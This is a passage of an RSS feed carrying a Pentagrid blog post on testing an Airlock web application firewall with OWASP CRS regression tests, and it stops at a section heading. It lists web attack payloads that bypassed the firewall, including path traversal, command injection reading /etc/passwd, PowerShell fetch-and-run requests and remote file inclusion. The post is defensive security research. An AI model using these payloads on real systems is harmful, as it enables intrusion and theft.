<?xml version="1.0" encoding="utf-8"?>
<?xml-stylesheet type="text/xsl" href="../../assets/xml/rss.xsl" media="all"?><rss version="2.0" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:atom="http://www.w3.org/2005/Atom"><channel><title>Pentagrid AG (Einträge über Airlock)</title><link>https://www.pentagrid.ch/</link><description></description><atom:link href="https://www.pentagrid.ch/de/categories/airlock.xml" rel="self" type="application/rss+xml"></atom:link><language>de</language><copyright>Contents © 2026 Pentagrid AG </copyright><lastBuildDate>Thu, 24 Sep 2026 07:35:04 GMT</lastBuildDate><generator>Nikola (getnikola.com)</generator><docs>http://blogs.law.harvard.edu/tech/rss</docs><item><title>An excursion into Airlock WAF ruleset testing</title><link>https://www.pentagrid.ch/de/blog/airlock-web-application-firewall-ruleset-testing-and-waf-bypasses/</link><dc:creator>Pentagrid AG</dc:creator><description>&lt;figure&gt;&lt;img src="https://www.pentagrid.ch/images/default_preview_image.jpeg"&gt;&lt;/figure&gt; &lt;p&gt;Recently we've been tasked to do an analysis of a web application firewall (WAF) of the vendor Ergon, namely the &lt;a class="reference external" href="https://www.airlock.com/"&gt;Airlock WAF&lt;/a&gt; regarding the effectivness of filtering. One idea was to see what happens when OWASP Core Rule Set (CRS) tests are run against it. This is the story of how we approached this, which payloads went through and how impossible it is to tell if that's good or bad now.&lt;/p&gt;
&lt;!-- TEASER_END --&gt;
&lt;p&gt;WAFs are a controversial topic. The reason is simply that there is no technical proof that either is universally helpful or harmful, as their effectiveness largely depends on a lot of things. We don't think you need a WAF in general, and we also don't think you need to get rid of your WAF if you have a use case. For all of you who are expecting us to provide the ultimate answer &lt;a class="brackets" href="https://www.pentagrid.ch/de/blog/airlock-web-application-firewall-ruleset-testing-and-waf-bypasses/#footnote-1" id="footnote-reference-1" role="doc-noteref"&gt;&lt;span class="fn-bracket"&gt;[&lt;/span&gt;1&lt;span class="fn-bracket"&gt;]&lt;/span&gt;&lt;/a&gt; in this blog post: You can stop reading here. For everyone interested in learning some technical details about two WAF-related projects from real-world installations, please enjoy.&lt;/p&gt;
&lt;section id="about-wafs-and-airlock"&gt;
&lt;h2&gt;About WAFs and Airlock&lt;/h2&gt;
&lt;p&gt;Ergon's Airlock WAF is one of the better-known WAFs in Switzerland. One reason for this is that it is often recommended, bundled or sold with financial software, such as core banking systems. Some banks nevertheless use something else, while others stick with Airlock. Like any other WAF, Airlock mitigates risks according to their website.&lt;/p&gt;
&lt;p&gt;Like a standard firewall, a WAF has a set of rules that define wether something is blocked or allowed through. However, that's already where the similarity stops. Best practices for regular firewalls require you to create an allow-list of traffic you want to pass and deny everything else. By contrast, most WAFs use block-lists and allow everything else. Everybody in our industry knows block-lists are a recipe for security issues and that's why a WAF will never be perfect, but best effort. So as a matter of fact, WAF bypasses are a common thing.&lt;/p&gt;
&lt;p&gt;While every vendor and company using a WAF has their own rule set to fit their purpose, a key distinction exists: some who use a modified version of the &lt;a class="reference external" href="https://owasp.org/www-project-modsecurity-core-rule-set/"&gt;OWASP ModSecurity Core Rule Set (CRS)&lt;/a&gt;, while others don't use CRS at all. According to the CRS project, a lot of big cloud vendors are using CRS in their WAF. However, Airlock is one of the vendors that doesn't use CRS.&lt;/p&gt;
&lt;p&gt;Additionally, most WAFs allow to decide dynamically whether to use more or less strict rules for a certain category of attacks. CRS uses the term &lt;a class="reference external" href="https://coreruleset.org/docs/concepts/paranoia_levels/"&gt;"Paranoia Level" (1 to 4)&lt;/a&gt;, whereas Airlock calls it &lt;a class="reference external" href="https://docs.airlock.com/gateway/8.0/#data/1583435052416.html"&gt;"Security Level" or "Blocking Level" (basic, standard and strict)&lt;/a&gt;. As some might already have noticed, we'll sometimes refer to CRS as a WAF in this post, implying a compatible WAF engine like ModSecurity is using CRS.&lt;/p&gt;
&lt;/section&gt;
&lt;section id="approach"&gt;
&lt;h2&gt;Approach&lt;/h2&gt;
&lt;p&gt;We've been tasked with analyzing an Airlock WAF and while we looked at various things, as a novel approach, we also decided to try to run comparison tests for Airlock against some of the CRS rules. As there seemed no one who did this before and wrote about it on the Internet, we tried our luck.&lt;/p&gt;
&lt;p&gt;Although there is a &lt;a class="reference external" href="https://docs.airlock.com/gateway/8.0/#data/1589475703024.html"&gt;public list of rule names&lt;/a&gt;, you need access to an Airlock WAF in order to see the actual Airlock rules (the regexes). Whereas CRS is an open-source project and you have full access to review it. This is very helpful for a pentester who is up against a CRS-based WAF, as you can even &lt;a class="reference external" href="https://github.com/coreruleset/coreruleset/labels/%3Aheavy_minus_sign%3A%20False%20Negative%20-%20Evasion"&gt;look up all currently unfixed evasions on GitHub&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;The Airlock WAF we were facing had the following rules and blocking levels set:&lt;/p&gt;
&lt;ul class="simple"&gt;
&lt;li&gt;&lt;p&gt;Standard: SQL Injection (SQLi) in Parameter Value&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Standard: SOL Injection (SQLi) in Header Value&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Standard: Cross-Site Scripting (XSS) in Parameter Value&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Standard: Cross-Site Scripting (XSS) in Header Value&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Standard: Cross-Site Scripting (XSS) in Path&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Standard: Template and Expression Language Injection&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Strict: HTML Injection in Parameter Value&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Strict: HTML Injection in Header Value&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Strict: HTML Injection in Path&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Standard: UNIX Command Injection in Parameter Value&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Standard: UNIX Command Injection in Header Value&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Standard: Windows Command Injection in Parameter Value&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Standard: Windows Command injection in Header Value&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Standard: LDAP Injection in Parameter Value&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Standard: LDAP Injection in Header Value&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Standard: PHP Injection in Parameter Value&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Standard: PHP Injection in Header Value&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Standard: Object Graph Navigation Library (OGNL) injection (Apache Struts)&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Standard: Insecure Direct Object Reference in Parameter Value&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Standard: Insecure Direct Object Reference in Path&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Standard: NoSOL Injection in Parameter Name&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Standard: NoSOL Injection in Parameter Value&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Standard: NoSQL Injection in Header Value&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Strict: Parameter Name Sanity&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Standard: Parameter Value Sanity&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Strict: Header Name Sanity&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Standard: Header Value Sanity&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Strict: Path Sanity&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Strict: Encoding and Conversion Exploits in Parameter Value&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Strict: Encoding and Conversion Exploits in Header Value&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Strict: HTTP Response Splitting&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Strict: HTTP Parameter Pollution&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Standard: Miscellanous Exploits&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Strict: Automated Scanning&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Note that none of the rules are on the level "basic", so either the "standard" setting is used or even the highest protection level "strict".&lt;/p&gt;
&lt;/section&gt;
&lt;section id="crs-regression-test-run-against-airlock"&gt;
&lt;h2&gt;CRS regression test run against Airlock&lt;/h2&gt;
&lt;p&gt;The most interesting part for us was that the CRS project provides a &lt;a class="reference external" href="https://github.com/coreruleset/coreruleset/tree/main/tests/regression"&gt;full regression test set&lt;/a&gt;, which contains tests that trigger a rule in different ways. With some modifications, such as changing the target host, we were able to run these tests against the Airlock WAF. Although this approach seemed straightforward, we underestimated the amount of manual work required to determine whether a failed test result for CRS was really "an issue" for the Airlock WAF. That's why we didn't completely review the entire regression corpus. However, we still learned a lot of interesting facts about both WAFs, as you'll see.&lt;/p&gt;
&lt;p&gt;In the end, the effectiveness of a WAF depends a lot on its configuration (there are many features we don't even mention here) and on the type of application it is protecting. So even before starting, we knew the results wouldn't show a generally applicable picture.&lt;/p&gt;
&lt;p&gt;After tweaking the configuration of &lt;a class="reference external" href="https://github.com/coreruleset/go-ftw/releases"&gt;go-ftw&lt;/a&gt; (a framework for testing WAFs), and trying to run it against Airlock, it became obvious that this was going to involve a lot of manual work to figure out which things were really a problem on the Airlock side. Some of the reasons are:&lt;/p&gt;
&lt;ul class="simple"&gt;
&lt;li&gt;&lt;p&gt;As we had to overwrite the destination (IP address and TCP port) as well as the HTTP Host header of tests to route our request correctly to the Airlock WAF, we already destroyed some of the CRS regression tests that injected into the HTTP Host header.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;There is no throttle mechanism in go-ftw and Airlock was configured to block an IP for a certain time if a threshold of blocked requests per minute was detected. Therefore, we split the test into smaller batches and waited for a while between each batch. When just a few of the test requests were blocked, the batches went through nicely, but for tests that resulted in many blocked requests, we had to rerun them. Fortunately for us, in this particular configuration, it was easy to detect in the HTTP responses when the Airlock WAF blocked our IP address.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Airlock has an allow-list regex of all HTTP header names that are forwarded to applications. If you inject into any HTTP header that is not on the allow-list, the request will never be blocked. Some of the CRS tests injected into custom HTTP headers and therefore never triggered any rule.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Airlock also has an allow-list regex of HTTP cookie names where the same issue applies.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;While CRS checks for certain patterns generically in all parameters, Airlock seems to check for certain things only when these parameters are defined to have that kind of content. For example, XML External Entity (XXE) attacks are not blocked generically in a parameter in Airlock.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Some CRS tests check for false positives (meaning CRS should not block them), but we were not interested in those, as we wanted to see what we could potentially smuggle past the Airlock WAF that CRS blocks.&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/section&gt;
&lt;section id="crs-regression-test-run-results"&gt;
&lt;h2&gt;CRS regression test run results&lt;/h2&gt;
&lt;p&gt;Here's a list of CRS test results that were passed through and were not blocked by the Airlock WAF under test (mid 2024), but would be blocked at some of the paranoia levels of the CRS. As said earlier, this list is incomplete as we didn't look at all the results of the CRS regression tests manually. The titles are the category titles by CRS.&lt;/p&gt;
&lt;section id="request-913-scanner-detection"&gt;
&lt;h3&gt;REQUEST-913-SCANNER-DETECTION&lt;/h3&gt;
&lt;div class="code"&gt;&lt;pre class="code text"&gt;&lt;a id="rest_code_4e882dec6a0844d3a54b6ab04582fba6-1" name="rest_code_4e882dec6a0844d3a54b6ab04582fba6-1" href="https://www.pentagrid.ch/de/blog/airlock-web-application-firewall-ruleset-testing-and-waf-bypasses/#rest_code_4e882dec6a0844d3a54b6ab04582fba6-1"&gt;&lt;/a&gt;User-Agent: nuclei
&lt;a id="rest_code_4e882dec6a0844d3a54b6ab04582fba6-2" name="rest_code_4e882dec6a0844d3a54b6ab04582fba6-2" href="https://www.pentagrid.ch/de/blog/airlock-web-application-firewall-ruleset-testing-and-waf-bypasses/#rest_code_4e882dec6a0844d3a54b6ab04582fba6-2"&gt;&lt;/a&gt;User-Agent: urlgrabber/3.10 yum/3.4.3
&lt;a id="rest_code_4e882dec6a0844d3a54b6ab04582fba6-3" name="rest_code_4e882dec6a0844d3a54b6ab04582fba6-3" href="https://www.pentagrid.ch/de/blog/airlock-web-application-firewall-ruleset-testing-and-waf-bypasses/#rest_code_4e882dec6a0844d3a54b6ab04582fba6-3"&gt;&lt;/a&gt;User-Agent: Mozilla/5.0 zgrab/0.x
&lt;a id="rest_code_4e882dec6a0844d3a54b6ab04582fba6-4" name="rest_code_4e882dec6a0844d3a54b6ab04582fba6-4" href="https://www.pentagrid.ch/de/blog/airlock-web-application-firewall-ruleset-testing-and-waf-bypasses/#rest_code_4e882dec6a0844d3a54b6ab04582fba6-4"&gt;&lt;/a&gt;User-Agent: mozilla/5.0 ecairn-grabber/1.0 (+http://ecairn.com/grabber)
&lt;/pre&gt;&lt;/div&gt;
&lt;/section&gt;
&lt;section id="request-920-protocol-enforcement"&gt;
&lt;h3&gt;REQUEST-920-PROTOCOL-ENFORCEMENT&lt;/h3&gt;
&lt;div class="code"&gt;&lt;pre class="code text"&gt;&lt;a id="rest_code_06cbe42e76264c3c828465779f6b6d57-1" name="rest_code_06cbe42e76264c3c828465779f6b6d57-1" href="https://www.pentagrid.ch/de/blog/airlock-web-application-firewall-ruleset-testing-and-waf-bypasses/#rest_code_06cbe42e76264c3c828465779f6b6d57-1"&gt;&lt;/a&gt;GET /?param=%25%37%33%25%36%46%25%36%44%25%36%35%25%37%34%25%36%35%25%37%38%25%37%34%25%35%46%25%33%31%25%33%32%25%33%33%25%33%34 HTTP/1.1
&lt;/pre&gt;&lt;/div&gt;
&lt;/section&gt;
&lt;section id="request-921-protocol-attack"&gt;
&lt;h3&gt;REQUEST-921-PROTOCOL-ATTACK&lt;/h3&gt;
&lt;div class="code"&gt;&lt;pre class="code text"&gt;&lt;a id="rest_code_6a25d10fb2cd477083b60ae3e86bed4c-1" name="rest_code_6a25d10fb2cd477083b60ae3e86bed4c-1" href="https://www.pentagrid.ch/de/blog/airlock-web-application-firewall-ruleset-testing-and-waf-bypasses/#rest_code_6a25d10fb2cd477083b60ae3e86bed4c-1"&gt;&lt;/a&gt;GET /?arg1=GET%20http%3A%2F%2Fwww.foo.bar%20HTTP%2F3.2 HTTP/1.1
&lt;/pre&gt;&lt;/div&gt;
&lt;div class="code"&gt;&lt;pre class="code text"&gt;&lt;a id="rest_code_3083c6aea09042bfb8cc34e7cea5741b-1" name="rest_code_3083c6aea09042bfb8cc34e7cea5741b-1" href="https://www.pentagrid.ch/de/blog/airlock-web-application-firewall-ruleset-testing-and-waf-bypasses/#rest_code_3083c6aea09042bfb8cc34e7cea5741b-1"&gt;&lt;/a&gt;POST / HTTP/1.1
&lt;a id="rest_code_3083c6aea09042bfb8cc34e7cea5741b-2" name="rest_code_3083c6aea09042bfb8cc34e7cea5741b-2" href="https://www.pentagrid.ch/de/blog/airlock-web-application-firewall-ruleset-testing-and-waf-bypasses/#rest_code_3083c6aea09042bfb8cc34e7cea5741b-2"&gt;&lt;/a&gt;Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
&lt;a id="rest_code_3083c6aea09042bfb8cc34e7cea5741b-3" name="rest_code_3083c6aea09042bfb8cc34e7cea5741b-3" href="https://www.pentagrid.ch/de/blog/airlock-web-application-firewall-ruleset-testing-and-waf-bypasses/#rest_code_3083c6aea09042bfb8cc34e7cea5741b-3"&gt;&lt;/a&gt;Content-Type: application/x-www-form-urlencoded
&lt;a id="rest_code_3083c6aea09042bfb8cc34e7cea5741b-4" name="rest_code_3083c6aea09042bfb8cc34e7cea5741b-4" href="https://www.pentagrid.ch/de/blog/airlock-web-application-firewall-ruleset-testing-and-waf-bypasses/#rest_code_3083c6aea09042bfb8cc34e7cea5741b-4"&gt;&lt;/a&gt;Host: www.example.org
&lt;a id="rest_code_3083c6aea09042bfb8cc34e7cea5741b-5" name="rest_code_3083c6aea09042bfb8cc34e7cea5741b-5" href="https://www.pentagrid.ch/de/blog/airlock-web-application-firewall-ruleset-testing-and-waf-bypasses/#rest_code_3083c6aea09042bfb8cc34e7cea5741b-5"&gt;&lt;/a&gt;Range: bytes=0-,5-0,5-1,5-2,5-3,5-4,5-5,5-6,5-7,5-8,5-9,5-10,5-11,5-12,5-13,5-14,5-15
&lt;a id="rest_code_3083c6aea09042bfb8cc34e7cea5741b-6" name="rest_code_3083c6aea09042bfb8cc34e7cea5741b-6" href="https://www.pentagrid.ch/de/blog/airlock-web-application-firewall-ruleset-testing-and-waf-bypasses/#rest_code_3083c6aea09042bfb8cc34e7cea5741b-6"&gt;&lt;/a&gt;User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.6167.160 Safari/537.36
&lt;a id="rest_code_3083c6aea09042bfb8cc34e7cea5741b-7" name="rest_code_3083c6aea09042bfb8cc34e7cea5741b-7" href="https://www.pentagrid.ch/de/blog/airlock-web-application-firewall-ruleset-testing-and-waf-bypasses/#rest_code_3083c6aea09042bfb8cc34e7cea5741b-7"&gt;&lt;/a&gt;Content-Length: 86
&lt;a id="rest_code_3083c6aea09042bfb8cc34e7cea5741b-8" name="rest_code_3083c6aea09042bfb8cc34e7cea5741b-8" href="https://www.pentagrid.ch/de/blog/airlock-web-application-firewall-ruleset-testing-and-waf-bypasses/#rest_code_3083c6aea09042bfb8cc34e7cea5741b-8"&gt;&lt;/a&gt;
&lt;a id="rest_code_3083c6aea09042bfb8cc34e7cea5741b-9" name="rest_code_3083c6aea09042bfb8cc34e7cea5741b-9" href="https://www.pentagrid.ch/de/blog/airlock-web-application-firewall-ruleset-testing-and-waf-bypasses/#rest_code_3083c6aea09042bfb8cc34e7cea5741b-9"&gt;&lt;/a&gt;foo=(%26(objectCategory=computer)%20(userAccountControl:1.2.840.113556.1.4.803:=8192))
&lt;/pre&gt;&lt;/div&gt;
&lt;/section&gt;
&lt;section id="request-930-application-attack-lfi"&gt;
&lt;h3&gt;REQUEST-930-APPLICATION-ATTACK-LFI&lt;/h3&gt;
&lt;div class="code"&gt;&lt;pre class="code text"&gt;&lt;a id="rest_code_60e67df8baf8417db6d3045404446f19-1" name="rest_code_60e67df8baf8417db6d3045404446f19-1" href="https://www.pentagrid.ch/de/blog/airlock-web-application-firewall-ruleset-testing-and-waf-bypasses/#rest_code_60e67df8baf8417db6d3045404446f19-1"&gt;&lt;/a&gt;GET /?foo=.../.../WINDOWS/win.ini HTTP/1.1
&lt;a id="rest_code_60e67df8baf8417db6d3045404446f19-2" name="rest_code_60e67df8baf8417db6d3045404446f19-2" href="https://www.pentagrid.ch/de/blog/airlock-web-application-firewall-ruleset-testing-and-waf-bypasses/#rest_code_60e67df8baf8417db6d3045404446f19-2"&gt;&lt;/a&gt;GET /?foo=0x5c0x2e./0x5c0x2e./0x5c0x2e./0x5c0x2e./0x5c0x2e./ HTTP/1.1
&lt;a id="rest_code_60e67df8baf8417db6d3045404446f19-3" name="rest_code_60e67df8baf8417db6d3045404446f19-3" href="https://www.pentagrid.ch/de/blog/airlock-web-application-firewall-ruleset-testing-and-waf-bypasses/#rest_code_60e67df8baf8417db6d3045404446f19-3"&gt;&lt;/a&gt;GET /foo../1234 HTTP/1.1
&lt;a id="rest_code_60e67df8baf8417db6d3045404446f19-4" name="rest_code_60e67df8baf8417db6d3045404446f19-4" href="https://www.pentagrid.ch/de/blog/airlock-web-application-firewall-ruleset-testing-and-waf-bypasses/#rest_code_60e67df8baf8417db6d3045404446f19-4"&gt;&lt;/a&gt;GET /?a=..;.\.;\. HTTP/1.1
&lt;a id="rest_code_60e67df8baf8417db6d3045404446f19-5" name="rest_code_60e67df8baf8417db6d3045404446f19-5" href="https://www.pentagrid.ch/de/blog/airlock-web-application-firewall-ruleset-testing-and-waf-bypasses/#rest_code_60e67df8baf8417db6d3045404446f19-5"&gt;&lt;/a&gt;GET /?code=;+cat+%2Fetc%2Fsubuid+%23 HTTP/1.1
&lt;a id="rest_code_60e67df8baf8417db6d3045404446f19-6" name="rest_code_60e67df8baf8417db6d3045404446f19-6" href="https://www.pentagrid.ch/de/blog/airlock-web-application-firewall-ruleset-testing-and-waf-bypasses/#rest_code_60e67df8baf8417db6d3045404446f19-6"&gt;&lt;/a&gt;GET /?code=;echo+fooffff&amp;gt;/tmp/curl HTTP/1.1
&lt;/pre&gt;&lt;/div&gt;
&lt;/section&gt;
&lt;section id="request-931-application-attack-rfi"&gt;
&lt;h3&gt;REQUEST-931-APPLICATION-ATTACK-RFI&lt;/h3&gt;
&lt;div class="code"&gt;&lt;pre class="code text"&gt;&lt;a id="rest_code_542c81cc7ff94348837afbb92b26ace7-1" name="rest_code_542c81cc7ff94348837afbb92b26ace7-1" href="https://www.pentagrid.ch/de/blog/airlock-web-application-firewall-ruleset-testing-and-waf-bypasses/#rest_code_542c81cc7ff94348837afbb92b26ace7-1"&gt;&lt;/a&gt;GET /?src=http://66.240.183.75/crash.php HTTP/1.1
&lt;a id="rest_code_542c81cc7ff94348837afbb92b26ace7-2" name="rest_code_542c81cc7ff94348837afbb92b26ace7-2" href="https://www.pentagrid.ch/de/blog/airlock-web-application-firewall-ruleset-testing-and-waf-bypasses/#rest_code_542c81cc7ff94348837afbb92b26ace7-2"&gt;&lt;/a&gt;GET /components/com_virtuemart/show_image_in_imgtag.php?mosConfig_absolute_path=https://foo.bar HTTP/1.1
&lt;a id="rest_code_542c81cc7ff94348837afbb92b26ace7-3" name="rest_code_542c81cc7ff94348837afbb92b26ace7-3" href="https://www.pentagrid.ch/de/blog/airlock-web-application-firewall-ruleset-testing-and-waf-bypasses/#rest_code_542c81cc7ff94348837afbb92b26ace7-3"&gt;&lt;/a&gt;GET /?x=https://example.com/ HTTP/1.1
&lt;a id="rest_code_542c81cc7ff94348837afbb92b26ace7-4" name="rest_code_542c81cc7ff94348837afbb92b26ace7-4" href="https://www.pentagrid.ch/de/blog/airlock-web-application-firewall-ruleset-testing-and-waf-bypasses/#rest_code_542c81cc7ff94348837afbb92b26ace7-4"&gt;&lt;/a&gt;GET /?x=url:file://foo.bar HTTP/1.1
&lt;a id="rest_code_542c81cc7ff94348837afbb92b26ace7-5" name="rest_code_542c81cc7ff94348837afbb92b26ace7-5" href="https://www.pentagrid.ch/de/blog/airlock-web-application-firewall-ruleset-testing-and-waf-bypasses/#rest_code_542c81cc7ff94348837afbb92b26ace7-5"&gt;&lt;/a&gt;GET /file:%2f%2f/usr/src/blog/app/assets/javascripts/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/etc/passwd HTTP/1.1
&lt;/pre&gt;&lt;/div&gt;
&lt;/section&gt;
&lt;section id="request-932-application-attack-rce"&gt;
&lt;h3&gt;REQUEST-932-APPLICATION-ATTACK-RCE&lt;/h3&gt;
&lt;div class="code"&gt;&lt;pre class="code text"&gt;&lt;a id="rest_code_c0db10e64e5547a69eda97e9c843c35e-1" name="rest_code_c0db10e64e5547a69eda97e9c843c35e-1" href="https://www.pentagrid.ch/de/blog/airlock-web-application-firewall-ruleset-testing-and-waf-bypasses/#rest_code_c0db10e64e5547a69eda97e9c843c35e-1"&gt;&lt;/a&gt;GET /get?932120-1=Invoke-WebRequest%20http://example.com/path/file.ps1 HTTP/1.1
&lt;a id="rest_code_c0db10e64e5547a69eda97e9c843c35e-2" name="rest_code_c0db10e64e5547a69eda97e9c843c35e-2" href="https://www.pentagrid.ch/de/blog/airlock-web-application-firewall-ruleset-testing-and-waf-bypasses/#rest_code_c0db10e64e5547a69eda97e9c843c35e-2"&gt;&lt;/a&gt;GET /get?a=Invoke-Expression%20-Command%20file.ps1
&lt;a id="rest_code_c0db10e64e5547a69eda97e9c843c35e-3" name="rest_code_c0db10e64e5547a69eda97e9c843c35e-3" href="https://www.pentagrid.ch/de/blog/airlock-web-application-firewall-ruleset-testing-and-waf-bypasses/#rest_code_c0db10e64e5547a69eda97e9c843c35e-3"&gt;&lt;/a&gt;GET /get?cmd=%3Biwr%20http://example.com/path/file.ps1 HTTP/1.1
&lt;a id="rest_code_c0db10e64e5547a69eda97e9c843c35e-4" name="rest_code_c0db10e64e5547a69eda97e9c843c35e-4" href="https://www.pentagrid.ch/de/blog/airlock-web-application-firewall-ruleset-testing-and-waf-bypasses/#rest_code_c0db10e64e5547a69eda97e9c843c35e-4"&gt;&lt;/a&gt;GET /?cmd=cat%20/etc/pa%5Bs%5Dswd HTTP/1.1
&lt;a id="rest_code_c0db10e64e5547a69eda97e9c843c35e-5" name="rest_code_c0db10e64e5547a69eda97e9c843c35e-5" href="https://www.pentagrid.ch/de/blog/airlock-web-application-firewall-ruleset-testing-and-waf-bypasses/#rest_code_c0db10e64e5547a69eda97e9c843c35e-5"&gt;&lt;/a&gt;GET /?cmd=x&amp;lt;cat+/etc/pa%5Bs%5Dswd HTTP/1.1
&lt;a id="rest_code_c0db10e64e5547a69eda97e9c843c35e-6" name="rest_code_c0db10e64e5547a69eda97e9c843c35e-6" href="https://www.pentagrid.ch/de/blog/airlock-web-application-firewall-ruleset-testing-and-waf-bypasses/#rest_code_c0db10e64e5547a69eda97e9c843c35e-6"&gt;&lt;/a&gt;GET /?cmd=;cat+/etc/pas[s]wd HTTP/1.1
&lt;a id="rest_code_c0db10e64e5547a69eda97e9c843c35e-7" name="rest_code_c0db10e64e5547a69eda97e9c843c35e-7" href="https://www.pentagrid.ch/de/blog/airlock-web-application-firewall-ruleset-testing-and-waf-bypasses/#rest_code_c0db10e64e5547a69eda97e9c843c35e-7"&gt;&lt;/a&gt;GET /?s=;/usr/bin/%5Bu%5Dname+-a HTTP/1.1
&lt;a id="rest_code_c0db10e64e5547a69eda97e9c843c35e-8" name="rest_code_c0db10e64e5547a69eda97e9c843c35e-8" href="https://www.pentagrid.ch/de/blog/airlock-web-application-firewall-ruleset-testing-and-waf-bypasses/#rest_code_c0db10e64e5547a69eda97e9c843c35e-8"&gt;&lt;/a&gt;GET /?foo=for%20%2fr%20c%3a%5c%20%25variable%20in%20%28set%29%20do%20command HTTP/1.1
&lt;a id="rest_code_c0db10e64e5547a69eda97e9c843c35e-9" name="rest_code_c0db10e64e5547a69eda97e9c843c35e-9" href="https://www.pentagrid.ch/de/blog/airlock-web-application-firewall-ruleset-testing-and-waf-bypasses/#rest_code_c0db10e64e5547a69eda97e9c843c35e-9"&gt;&lt;/a&gt;GET /?foo=FOR+%2FF+%22options%22+%25a+IN+%28%22text%22%29+DO+abc HTTP/1.1
&lt;a id="rest_code_c0db10e64e5547a69eda97e9c843c35e-10" name="rest_code_c0db10e64e5547a69eda97e9c843c35e-10" href="https://www.pentagrid.ch/de/blog/airlock-web-application-firewall-ruleset-testing-and-waf-bypasses/#rest_code_c0db10e64e5547a69eda97e9c843c35e-10"&gt;&lt;/a&gt;GET /?foo=%26+FOR+%2FF+%22tokens%3D1-3%22+%25%25A+IN+++%28%22jejeje+brbr%22%29+DO+%40echo+pwnd HTTP/1.1
&lt;a id="rest_code_c0db10e64e5547a69eda97e9c843c35e-11" name="rest_code_c0db10e64e5547a69eda97e9c843c35e-11" href="https://www.pentagrid.ch/de/blog/airlock-web-application-firewall-ruleset-testing-and-waf-bypasses/#rest_code_c0db10e64e5547a69eda97e9c843c35e-11"&gt;&lt;/a&gt;GET /?foo=FOR+%25%25G+IN+%28a%2Cb%2Cc%2Cd%2Ce%2Cf%2Cg%2Ch%2Ci%2Cj%2Ck%2Cl%2Cm%2Cn%2Co%2Cp%2Cq%2Cr%2Cs%2Ct%2Cu%2Cv%2Cw%2Cx%2Cy%2Cz%29+DO+%28md+C%3A%5Cdemo%5C%25%25G%29 HTTP/1.1
&lt;a id="rest_code_c0db10e64e5547a69eda97e9c843c35e-12" name="rest_code_c0db10e64e5547a69eda97e9c843c35e-12" href="https://www.pentagrid.ch/de/blog/airlock-web-application-firewall-ruleset-testing-and-waf-bypasses/#rest_code_c0db10e64e5547a69eda97e9c843c35e-12"&gt;&lt;/a&gt;GET /?x=%2Fusr%2Fbin%2Fperl+-e+%27print+readline%27+some-file.txt HTTP/1.1
&lt;a id="rest_code_c0db10e64e5547a69eda97e9c843c35e-13" name="rest_code_c0db10e64e5547a69eda97e9c843c35e-13" href="https://www.pentagrid.ch/de/blog/airlock-web-application-firewall-ruleset-testing-and-waf-bypasses/#rest_code_c0db10e64e5547a69eda97e9c843c35e-13"&gt;&lt;/a&gt;GET /?x=)};%24SHELL%20-c%20%22echo%20hi%22 HTTP/1.1
&lt;/pre&gt;&lt;/div&gt;
&lt;/section&gt;
&lt;section id="request-933-application-attack-php"&gt;
&lt;h3&gt;REQUEST-933-APPLICATION-ATTACK-PHP&lt;/h3&gt;
